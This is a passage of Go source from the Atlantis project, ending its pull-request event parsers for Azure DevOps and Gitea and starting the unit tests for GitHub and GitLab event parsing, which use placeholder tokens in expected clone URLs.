string(body), err) return } pull, baseRepo, headRepo, user, err = e.parseCommonBitbucketServerEventData(event.CommonEventData) return } // ParseAzureDevopsPullEvent parses Azure DevOps pull request events. // See EventParsing for return value docs. func (e *EventParser) ParseAzureDevopsPullEvent(event azuredevops.Event) (pull models.PullRequest, pullEventType models.PullRequestEventType, baseRepo models.Repo, headRepo models.Repo, user models.User, err error) { pullResource, ok := event.Resource.(*azuredevops.GitPullRequest) if !ok { err = errors.New("failed to type assert event.Resource") return } pull, baseRepo, headRepo, err = e.ParseAzureDevopsPull(pullResource) if err != nil { return } createdBy := pullResource.GetCreatedBy() if createdBy == nil { err = errors.New("CreatedBy is null") return } senderUsername := createdBy.GetUniqueName() if senderUsername == "" { err = errors.New("CreatedBy.UniqueName is null") return } switch event.EventType { case "git.pullrequest.created": pullEventType = models.OpenedPullEvent case "git.pullrequest.updated": pullEventType = models.UpdatedPullEvent if pull.State == models.ClosedPullState { pullEventType = models.ClosedPullEvent } default: pullEventType = models.OtherPullEvent } user = models.User{Username: senderUsername} return } // ParseAzureDevopsPull parses the response from the Azure DevOps API endpoint (not // from a webhook) that returns a pull request. // See EventParsing for return value docs. func (e *EventParser) ParseAzureDevopsPull(pull *azuredevops.GitPullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) { commit := pull.LastMergeSourceCommit.GetCommitID() if commit == "" { err = errors.New("lastMergeSourceCommit.commitID is null") return } url := pull.GetURL() if url == "" { err = errors.New("url is null") return } headBranch := pull.GetSourceRefName() if headBranch == "" { err = errors.New("sourceRefName (branch name) is null") return } baseBranch := pull.GetTargetRefName() if baseBranch == "" { err = errors.New("targetRefName (branch name) is null") return } num := pull.GetPullRequestID() if num == 0 { err = errors.New("pullRequestId is null") return } createdBy := pull.GetCreatedBy() if createdBy == nil { err = errors.New("CreatedBy is null") return } authorUsername := createdBy.GetUniqueName() if authorUsername == "" { err = errors.New("CreatedBy.UniqueName is null") return } baseRepo, err = e.ParseAzureDevopsRepo(pull.GetRepository()) if err != nil { return } headRepo, err = e.ParseAzureDevopsRepo(pull.GetRepository()) if err != nil { return } pullState := models.ClosedPullState if *pull.Status == azuredevops.PullActive.String() { pullState = models.OpenPullState } pullModel = models.PullRequest{ Author: authorUsername, // Change webhook refs from "refs/heads/" to "" HeadBranch: strings.Replace(headBranch, "refs/heads/", "", 1), HeadCommit: commit, URL: url, Num: num, State: pullState, BaseRepo: baseRepo, BaseBranch: strings.Replace(baseBranch, "refs/heads/", "", 1), } return } // ParseAzureDevopsRepo parses the response from the Azure DevOps API endpoint that // returns a repo into the Atlantis model. // If the event payload doesn't contain a parent repository reference, extract the owner // name from the URL. The URL will match one of two different formats: // // https://runatlantis.visualstudio.com/project/_git/repo // https://dev.azure.com/runatlantis/project/_git/repo // // See EventParsing for return value docs. func (e *EventParser) ParseAzureDevopsRepo(adRepo *azuredevops.GitRepository) (models.Repo, error) { teamProject := adRepo.GetProject() parent := adRepo.GetParentRepository() owner := "" uri, err := url.Parse(adRepo.GetWebURL()) if err != nil { return models.Repo{}, err } if parent != nil { owner = parent.GetName() } else { if strings.Contains(uri.Host, "visualstudio.com") { owner = strings.Split(uri.Host, ".")[0] } else { owner = strings.Split(uri.Path, "/")[1] } owner = strings.ToLower(owner) // Important Issue // Details in here: https://github.com/runatlantis/atlantis/issues/5595 // Original issue from 2018: https://github.com/runatlantis/atlantis/issues/1858 // Related Microsoft article: https://learn.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#administration // If Azure DevOps forces the usage of new url, we need to remove all the changes added on this pull request (1 line and 1 test) } // Construct our own clone URL so we always get the new dev.azure.com // hostname for now. // https://docs.microsoft.com/en-us/azure/devops/release-notes/2018/sep-10-azure-devops-launch#switch-existing-organizations-to-use-the-new-domain-name-url project := teamProject.GetName() repo := adRepo.GetName() host := uri.Host if host == "" { host = "dev.azure.com" } cloneURL := "" // If statement allows compatibility with legacy Visual Studio Team Foundation Services URLs. // Else statement covers Azure DevOps Services URLs if strings.Contains(host, "visualstudio.com") { cloneURL = fmt.Sprintf("https://%s/%s/_git/%s", host, project, repo) } else { cloneURL = fmt.Sprintf("https://%s/%s/%s/_git/%s", host, owner, project, repo) } fmt.Println("%", cloneURL) fullName := fmt.Sprintf("%s/%s/%s", owner, project, repo) return models.NewRepo(models.AzureDevops, fullName, cloneURL, e.AzureDevopsUser, e.AzureDevopsToken) } func (e *EventParser) ParseGiteaPullRequestEvent(event giteasdk.PullRequest) (models.PullRequest, models.PullRequestEventType, models.Repo, models.Repo, models.User, error) { var pullEventType models.PullRequestEventType // Determine the event type based on the state of the pull request and whether it's merged. switch { case event.State == giteasdk.StateOpen: pullEventType = models.OpenedPullEvent case event.HasMerged: pullEventType = models.ClosedPullEvent default: pullEventType = models.OtherPullEvent } // Parse the base repository. baseRepo, err := models.NewRepo( models.Gitea, event.Base.Repository.FullName, event.Base.Repository.CloneURL, e.GiteaUser, e.GiteaToken, ) if err != nil { return models.PullRequest{}, models.OtherPullEvent, models.Repo{}, models.Repo{}, models.User{}, err } // Parse the head repository. headRepo, err := models.NewRepo( models.Gitea, event.Head.Repository.FullName, event.Head.Repository.CloneURL, e.GiteaUser, e.GiteaToken, ) if err != nil { return models.PullRequest{}, models.OtherPullEvent, models.Repo{}, models.Repo{}, models.User{}, err } // Construct the pull request model. pull := models.PullRequest{ Num: int(event.Index), URL: event.HTMLURL, HeadCommit: event.Head.Sha, HeadBranch: (*event.Head).Ref, BaseBranch: event.Base.Ref, Author: event.Poster.UserName, BaseRepo: baseRepo, } // Parse the user who made the pull request. user := models.User{ Username: event.Poster.UserName, } return pull, pullEventType, baseRepo, headRepo, user, nil } // ParseGiteaPull parses the response from the Gitea API endpoint (not // from a webhook) that returns a pull request. // See EventParsing for return value docs. func (e *EventParser) ParseGiteaPull(pull *giteasdk.PullRequest) (pullModel models.PullRequest, baseRepo models.Repo, headRepo models.Repo, err error) { commit := pull.Head.Sha if commit == "" { err = errors.New("head.sha is null") return } url := pull.HTMLURL if url == "" { err = errors.New("html_url is null") return } headBranch := pull.Head.Ref if headBranch == "" { err = errors.New("head.ref is null") return } baseBranch := pull.Base.Ref if baseBranch == "" { err = errors.New("base.ref is null") return } authorUsername := pull.Poster.UserName if authorUsername == "" { err = errors.New("user.login is null") return } num := pull.Index if num == 0 { err = errors.New("number is null") return } baseRepo, err = e.ParseGiteaRepo(*pull.Base.Repository) if err != nil { return } headRepo, err = e.ParseGiteaRepo(*pull.Head.Repository) if err != nil { return } pullState := models.ClosedPullState if pull.State == "open" { pullState = models.OpenPullState } pullModel = models.PullRequest{ Author: authorUsername, HeadBranch: headBranch, HeadCommit: commit, URL: url, Num: int(num), State: pullState, BaseRepo: baseRepo, BaseBranch: baseBranch, } return } ================================================ FILE: server/events/event_parser_test.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package events_test import ( "encoding/json" "fmt" "os" "path/filepath" "strings" "testing" "github.com/drmaxgit/go-azuredevops/azuredevops" "github.com/google/go-github/v83/github" "github.com/mohae/deepcopy" "github.com/runatlantis/atlantis/server/events" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" azuredevopstestdata "github.com/runatlantis/atlantis/server/events/vcs/azuredevops/testdata" githubtestdata "github.com/runatlantis/atlantis/server/events/vcs/github/testdata" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" gitlab "gitlab.com/gitlab-org/api/client-go" ) var parser = events.EventParser{ GithubUser: "github-user", GithubToken: "github-token", GithubTokenFile: "", GitlabUser: "gitlab-user", GitlabToken: "gitlab-token", AllowDraftPRs: false, BitbucketUser: "bitbucket-user", BitbucketToken: "bitbucket-token", BitbucketServerURL: "http://mycorp.com:7490", AzureDevopsUser: "azuredevops-user", AzureDevopsToken: "azuredevops-token", } func TestParseGithubRepo(t *testing.T) { r, err := parser.ParseGithubRepo(&githubtestdata.Repo) Ok(t, err) Equals(t, models.Repo{ Owner: "owner", FullName: "owner/repo", CloneURL: "https://github-user:github-token@github.com/owner/repo.git", SanitizedCloneURL: "https://github-user:@github.com/owner/repo.git", Name: "repo", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, r) } func TestParseGithubIssueCommentEvent(t *testing.T) { logger := logging.NewNoopLogger(t) comment := github.IssueCommentEvent{ Repo: &githubtestdata.Repo, Issue: &github.Issue{ Number: github.Ptr(1), User: &github.User{Login: github.Ptr("issue_user")}, HTMLURL: github.Ptr("https://github.com/runatlantis/atlantis/issues/1"), }, Comment: &github.IssueComment{ User: &github.User{Login: github.Ptr("comment_user")}, }, } testComment := deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Comment = nil _, _, _, err := parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "comment.user.login is null", err) testComment = deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Comment.User = nil _, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "comment.user.login is null", err) testComment = deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Comment.User.Login = nil _, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "comment.user.login is null", err) testComment = deepcopy.Copy(comment).(github.IssueCommentEvent) testComment.Issue = nil _, _, _, err = parser.ParseGithubIssueCommentEvent(logger, &testComment) ErrEquals(t, "issue.number is null", err) // this should be successful repo, user, pullNum, err := parser.ParseGithubIssueCommentEvent(logger, &comment) Ok(t, err) Equals(t, models.Repo{ Owner: *comment.Repo.Owner.Login, FullName: *comment.Repo.FullName, CloneURL: "https://github-user:github-token@github.com/owner/repo.git", SanitizedCloneURL: "https://github-user:@github.com/owner/repo.git", Name: "repo", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, repo) Equals(t, models.User{ Username: *comment.Comment.User.Login, }, user) Equals(t, *comment.Issue.Number, pullNum) } func TestParseGithubPullEvent(t *testing.T) { logger := logging.NewNoopLogger(t) _, _, _, _, _, err := parser.ParseGithubPullEvent(logger, &github.PullRequestEvent{}) ErrEquals(t, "pull_request is null", err) testEvent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent) testEvent.PullRequest.HTMLURL = nil _, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) ErrEquals(t, "html_url is null", err) testEvent = deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent) testEvent.Sender = nil _, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) ErrEquals(t, "sender is null", err) testEvent = deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent) testEvent.Sender.Login = nil _, _, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) ErrEquals(t, "sender.login is null", err) actPull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGithubPullEvent(logger, &githubtestdata.PullEvent) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner", FullName: "owner/repo", CloneURL: "https://github-user:github-token@github.com/owner/repo.git", SanitizedCloneURL: "https://github-user:@github.com/owner/repo.git", Name: "repo", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, } Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) Equals(t, models.PullRequest{ URL: githubtestdata.Pull.GetHTMLURL(), Author: githubtestdata.Pull.User.GetLogin(), HeadBranch: githubtestdata.Pull.Head.GetRef(), BaseBranch: githubtestdata.Pull.Base.GetRef(), HeadCommit: githubtestdata.Pull.Head.GetSHA(), Num: githubtestdata.Pull.GetNumber(), State: models.OpenPullState, BaseRepo: expBaseRepo, }, actPull) Equals(t, models.OpenedPullEvent, evType) Equals(t, models.User{Username: "user"}, actUser) } func TestParseGithubPullEventFromDraft(t *testing.T) { logger := logging.NewNoopLogger(t) // verify that close event treated as 'close' events by default closeEvent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent) closeEvent.Action = github.Ptr("closed") closeEvent.PullRequest.Draft = github.Ptr(true) _, evType, _, _, _, err := parser.ParseGithubPullEvent(logger, &closeEvent) Ok(t, err) Equals(t, models.ClosedPullEvent, evType) // verify that draft PRs are treated as 'other' events by default testEvent := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent) testEvent.PullRequest.Draft = github.Ptr(true) _, evType, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) Ok(t, err) Equals(t, models.OtherPullEvent, evType) // verify that drafts are planned if requested parser.AllowDraftPRs = true defer func() { parser.AllowDraftPRs = false }() _, evType, _, _, _, err = parser.ParseGithubPullEvent(logger, &testEvent) Ok(t, err) Equals(t, models.OpenedPullEvent, evType) } func TestParseGithubPullEvent_EventType(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { action string exp models.PullRequestEventType draftExp models.PullRequestEventType }{ { action: "synchronize", exp: models.UpdatedPullEvent, draftExp: models.OtherPullEvent, }, { action: "unassigned", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "review_requested", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "review_request_removed", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "labeled", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "unlabeled", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "opened", exp: models.OpenedPullEvent, draftExp: models.OtherPullEvent, }, { action: "edited", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "closed", exp: models.ClosedPullEvent, draftExp: models.ClosedPullEvent, }, { action: "reopened", exp: models.OtherPullEvent, draftExp: models.OtherPullEvent, }, { action: "ready_for_review", exp: models.OpenedPullEvent, draftExp: models.OtherPullEvent, }, } for _, c := range cases { t.Run(c.action, func(t *testing.T) { // Test normal parsing event := deepcopy.Copy(githubtestdata.PullEvent).(github.PullRequestEvent) action := c.action event.Action = &action _, actType, _, _, _, err := parser.ParseGithubPullEvent(logger, &event) Ok(t, err) Equals(t, c.exp, actType) // Test draft parsing when draft PRs disabled draftPR := true event.PullRequest.Draft = &draftPR _, draftEvType, _, _, _, err := parser.ParseGithubPullEvent(logger, &event) Ok(t, err) Equals(t, c.draftExp, draftEvType) // Test draft parsing when draft PRs are enabled. draftParser := parser draftParser.AllowDraftPRs = true _, draftEvType, _, _, _, err = draftParser.ParseGithubPullEvent(logger, &event) Ok(t, err) Equals(t, c.exp, draftEvType) }) } } func TestParseGithubPull(t *testing.T) { logger := logging.NewNoopLogger(t) testPull := deepcopy.Copy(githubtestdata.Pull).(github.PullRequest) testPull.Head.SHA = nil _, _, _, err := parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "head.sha is null", err) testPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest) testPull.HTMLURL = nil _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "html_url is null", err) testPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest) testPull.Head.Ref = nil _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "head.ref is null", err) testPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest) testPull.Base.Ref = nil _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "base.ref is null", err) testPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest) testPull.User.Login = nil _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "user.login is null", err) testPull = deepcopy.Copy(githubtestdata.Pull).(github.PullRequest) testPull.Number = nil _, _, _, err = parser.ParseGithubPull(logger, &testPull) ErrEquals(t, "number is null", err) pullRes, actBaseRepo, actHeadRepo, err := parser.ParseGithubPull(logger, &githubtestdata.Pull) Ok(t, err) expBaseRepo := models.Repo{ Owner: "owner", FullName: "owner/repo", CloneURL: "https://github-user:github-token@github.com/owner/repo.git", SanitizedCloneURL: "https://github-user:@github.com/owner/repo.git", Name: "repo", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, } Equals(t, models.PullRequest{ URL: githubtestdata.Pull.GetHTMLURL(), Author: githubtestdata.Pull.User.GetLogin(), HeadBranch: githubtestdata.Pull.Head.GetRef(), BaseBranch: githubtestdata.Pull.Base.GetRef(), HeadCommit: githubtestdata.Pull.Head.GetSHA(), Num: githubtestdata.Pull.GetNumber(), State: models.OpenPullState, BaseRepo: expBaseRepo, }, pullRes) Equals(t, expBaseRepo, actBaseRepo) Equals(t, expBaseRepo, actHeadRepo) } func TestParseGitlabMergeEvent(t *testing.T) { t.Log("should properly parse a gitlab merge event") path := filepath.Join("testdata", "gitlab-merge-request-event.json") bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeEvent err = json.Unmarshal(bytes, &event) Ok(t, err) pull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGitlabMergeRequestEvent(*event) Ok(t, err) expBaseRepo := models.Repo{ FullName: "lkysow/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/lkysow/atlantis-example.git", Owner: "lkysow", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/lkysow/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, } Equals(t, models.PullRequest{ URL: "https://gitlab.com/lkysow/atlantis-example/merge_requests/12", Author: "lkysow", Num: 12, HeadCommit: "d2eae324ca26242abca45d7b49d582cddb2a4f15", HeadBranch: "patch-1", BaseBranch: "main", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) Equals(t, models.OpenedPullEvent, evType) Equals(t, expBaseRepo, actBaseRepo) Equals(t, models.Repo{ FullName: "sourceorg/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/sourceorg/atlantis-example.git", Owner: "sourceorg", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/sourceorg/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, }, actHeadRepo) Equals(t, models.User{Username: "lkysow"}, actUser) t.Log("If the state is closed, should set field correctly.") event.ObjectAttributes.State = "closed" pull, _, _, _, _, err = parser.ParseGitlabMergeRequestEvent(*event) Ok(t, err) Equals(t, models.ClosedPullState, pull.State) } func TestParseGitlabMergeEventFromDraft(t *testing.T) { path := filepath.Join("testdata", "gitlab-merge-request-event.json") bytes, err := os.ReadFile(path) Ok(t, err) var event gitlab.MergeEvent err = json.Unmarshal(bytes, &event) Ok(t, err) testEvent := deepcopy.Copy(event).(gitlab.MergeEvent) testEvent.ObjectAttributes.WorkInProgress = true _, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(testEvent) Ok(t, err) Equals(t, models.OtherPullEvent, evType) parser.AllowDraftPRs = true defer func() { parser.AllowDraftPRs = false }() _, evType, _, _, _, err = parser.ParseGitlabMergeRequestEvent(testEvent) Ok(t, err) Equals(t, models.OpenedPullEvent, evType) } // Should be able to parse a merge event from a repo that is in a subgroup, // i.e. instead of under an owner/repo it's under an owner/group/subgroup/repo. func TestParseGitlabMergeEvent_Subgroup(t *testing.T) { path := filepath.Join("testdata", "gitlab-merge-request-event-subgroup.json") bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeEvent err = json.Unmarshal(bytes, &event) Ok(t, err) pull, evType, actBaseRepo, actHeadRepo, actUser, err := parser.ParseGitlabMergeRequestEvent(*event) Ok(t, err) expBaseRepo := models.Repo{ FullName: "lkysow-test/subgroup/sub-subgroup/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", Owner: "lkysow-test/subgroup/sub-subgroup", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, } Equals(t, models.PullRequest{ URL: "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2", Author: "lkysow", Num: 2, HeadCommit: "901d9770ef1a6862e2a73ec1bacc73590abb9aff", HeadBranch: "patch", BaseBranch: "main", State: models.OpenPullState, BaseRepo: expBaseRepo, }, pull) Equals(t, models.OpenedPullEvent, evType) Equals(t, expBaseRepo, actBaseRepo) Equals(t, models.Repo{ FullName: "lkysow-test/subgroup/sub-subgroup/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", Owner: "lkysow-test/subgroup/sub-subgroup", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, }, actHeadRepo) Equals(t, models.User{Username: "lkysow"}, actUser) } func TestParseGitlabMergeEvent_Update_ActionType(t *testing.T) { cases := []struct { filename string exp models.PullRequestEventType }{ { filename: "gitlab-merge-request-event-update-title.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-new-commit.json", exp: models.UpdatedPullEvent, }, { filename: "gitlab-merge-request-event-update-labels.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-description.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-assignee.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-mixed.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-target-branch.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-reviewer.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-update-milestone.json", exp: models.OtherPullEvent, }, { filename: "gitlab-merge-request-event-mark-as-ready.json", exp: models.UpdatedPullEvent, }, } for _, c := range cases { t.Run(c.filename, func(t *testing.T) { path := filepath.Join("testdata", c.filename) bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeEvent err = json.Unmarshal(bytes, &event) Ok(t, err) _, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(*event) Ok(t, err) Equals(t, c.exp, evType) }) } } func TestParseGitlabMergeEvent_ActionType(t *testing.T) { cases := []struct { action string exp models.PullRequestEventType }{ { action: "open", exp: models.OpenedPullEvent, }, { action: "merge", exp: models.ClosedPullEvent, }, { action: "close", exp: models.ClosedPullEvent, }, { action: "other", exp: models.OtherPullEvent, }, } path := filepath.Join("testdata", "gitlab-merge-request-event.json") bytes, err := os.ReadFile(path) Ok(t, err) mergeEventJSON := string(bytes) for _, c := range cases { t.Run(c.action, func(t *testing.T) { var event *gitlab.MergeEvent err = json.Unmarshal(bytes, &event) Ok(t, err) eventJSON := strings.Replace(mergeEventJSON, `"action": "open"`, fmt.Sprintf(`"action": %q`, c.action), 1) err := json.Unmarshal([]byte(eventJSON), &event) Ok(t, err) _, evType, _, _, _, err := parser.ParseGitlabMergeRequestEvent(*event) Ok(t, err) Equals(t, c.exp, evType) }) } } func TestParseGitlabMergeRequest(t *testing.T) { t.Log("should properly parse a gitlab merge request") path := filepath.Join("testdata", "gitlab-get-merge-request.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } var event *gitlab.MergeRequest err = json.Unmarshal(bytes, &event) Ok(t, err) repo := models.Repo{ FullName: "gitlabhq/gitlab-test", Name: "gitlab-test", SanitizedCloneURL: "https://gitlab-user:@example.com/gitlabhq/gitlab-test.git", Owner: "gitlabhq", CloneURL: "https://gitlab-user:gitlab-token@example.com/gitlabhq/gitlab-test.git", VCSHost: models.VCSHost{ Hostname: "example.com", Type: models.Gitlab, }, } pull := parser.ParseGitlabMergeRequest(event, repo) Equals(t, models.PullRequest{ URL: "https://gitlab.com/lkysow/atlantis-example/merge_requests/8", Author: "lkysow", Num: 8, HeadCommit: "0b4ac85ea3063ad5f2974d10cd68dd1f937aaac2", HeadBranch: "abc", BaseBranch: "main", State: models.OpenPullState, BaseRepo: repo, }, pull) t.Log("If the state is closed, should set field correctly.") event.State = "closed" pull = parser.ParseGitlabMergeRequest(event, repo) Equals(t, models.ClosedPullState, pull.State) } func TestParseGitlabMergeRequest_Subgroup(t *testing.T) { path := filepath.Join("testdata", "gitlab-get-merge-request-subgroup.json") bytes, err := os.ReadFile(path) if err != nil { Ok(t, err) } var event *gitlab.MergeRequest err = json.Unmarshal(bytes, &event) Ok(t, err) repo := models.Repo{ FullName: "lkysow-test/subgroup/sub-subgroup/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", Owner: "lkysow-test/subgroup/sub-subgroup", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, } pull := parser.ParseGitlabMergeRequest(event, repo) Equals(t, models.PullRequest{ URL: "https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2", Author: "lkysow", Num: 2, HeadCommit: "901d9770ef1a6862e2a73ec1bacc73590abb9aff", HeadBranch: "patch", BaseBranch: "main", State: models.OpenPullState, BaseRepo: repo, }, pull) } func TestParseGitlabMergeCommentEvent(t *testing.T) { t.Log("should properly parse a gitlab merge comment event") path := filepath.Join("testdata", "gitlab-merge-request-comment-event.json") bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeCommentEvent err = json.Unmarshal(bytes, &event) Ok(t, err) baseRepo, headRepo, commentID, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event) Ok(t, err) Equals(t, models.Repo{ FullName: "gitlabhq/gitlab-test", Name: "gitlab-test", SanitizedCloneURL: "https://gitlab-user:@example.com/gitlabhq/gitlab-test.git", Owner: "gitlabhq", CloneURL: "https://gitlab-user:gitlab-token@example.com/gitlabhq/gitlab-test.git", VCSHost: models.VCSHost{ Hostname: "example.com", Type: models.Gitlab, }, }, baseRepo) Equals(t, models.Repo{ FullName: "gitlab-org/gitlab-test", Name: "gitlab-test", SanitizedCloneURL: "https://gitlab-user:@example.com/gitlab-org/gitlab-test.git", Owner: "gitlab-org", CloneURL: "https://gitlab-user:gitlab-token@example.com/gitlab-org/gitlab-test.git", VCSHost: models.VCSHost{ Hostname: "example.com", Type: models.Gitlab, }, }, headRepo) Equals(t, 1244, commentID) Equals(t, models.User{ Username: "root", }, user) } // Should properly parse a gitlab merge comment event from a subgroup repo. func TestParseGitlabMergeCommentEvent_Subgroup(t *testing.T) { path := filepath.Join("testdata", "gitlab-merge-request-comment-event-subgroup.json") bytes, err := os.ReadFile(path) Ok(t, err) var event *gitlab.MergeCommentEvent err = json.Unmarshal(bytes, &event) Ok(t, err) baseRepo, headRepo, commentID, user, err := parser.ParseGitlabMergeRequestCommentEvent(*event) Ok(t, err) Equals(t, models.Repo{ FullName: "lkysow-test/subgroup/sub-subgroup/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", Owner: "lkysow-test/subgroup/sub-subgroup", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, }, baseRepo) Equals(t, models.Repo{ FullName: "lkysow-test/subgroup/sub-subgroup/atlantis-example", Name: "atlantis-example", SanitizedCloneURL: "https://gitlab-user:@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", Owner: "lkysow-test/subgroup/sub-subgroup", CloneURL: "https://gitlab-user:gitlab-token@gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git", VCSHost: models.VCSHost{ Hostname: "gitlab.com", Type: models.Gitlab, }, }, headRepo) Equals(t, 96056916, commentID) Equals(t, models.User{ Username: "lkysow", }, user) } func TestNewCommand_CleansDir(t *testing.T) { cases := []struct { RepoRelDir string ExpDir string }{ { "", "", }, { "/", ".", }, { "./", ".", }, // We rely on our callers to not pass in relative dirs. { "..", "..", }, } for _, c := range cases { t.Run(c.RepoRelDir, func(t *testing.T) { cmd := events.NewCommentCommand(c.RepoRelDir, nil, command.Plan, "", false, false, "", "workspace", "", "", false) Equals(t, c.ExpDir, cmd.RepoRelDir) }) } } func TestNewCommand_EmptyDirWorkspaceProject(t *testing.T) { cmd := events.NewCommentCommand("", nil, command.Plan, "", false, false, "", "", "", "", false) Equals(t, events.CommentCommand{ RepoRelDir: "", Flags: nil, Name: command.Plan, Verbose: false, Workspace: "", ProjectName: "", }, *cmd) } func TestNewCommand_AllFieldsSet(t *testing.T) { cmd := events.NewCommentCommand("dir", []string{"a", "b"}, command.Plan, "", true, false, "", "workspace", "project", "policyset", false) Equals(t, events.CommentCommand{ Workspace: "workspace", RepoRelDir: "dir", Verbose: true, Flags: []string{"a", "b"}, Name: command.Plan, ProjectName: "project", PolicySet: "policyset", }, *cmd) } func TestAutoplanCommand_CommandName(t *testing.T) { Equals(t, command.Plan, (events.AutoplanCommand{}).CommandName()) } func TestAutoplanCommand_IsVerbose(t *testing.T) { Equals(t, false, (events.AutoplanCommand{}).IsVerbose()) } func TestAutoplanCommand_IsAutoplan(t *testing.T) { Equals(t, true, 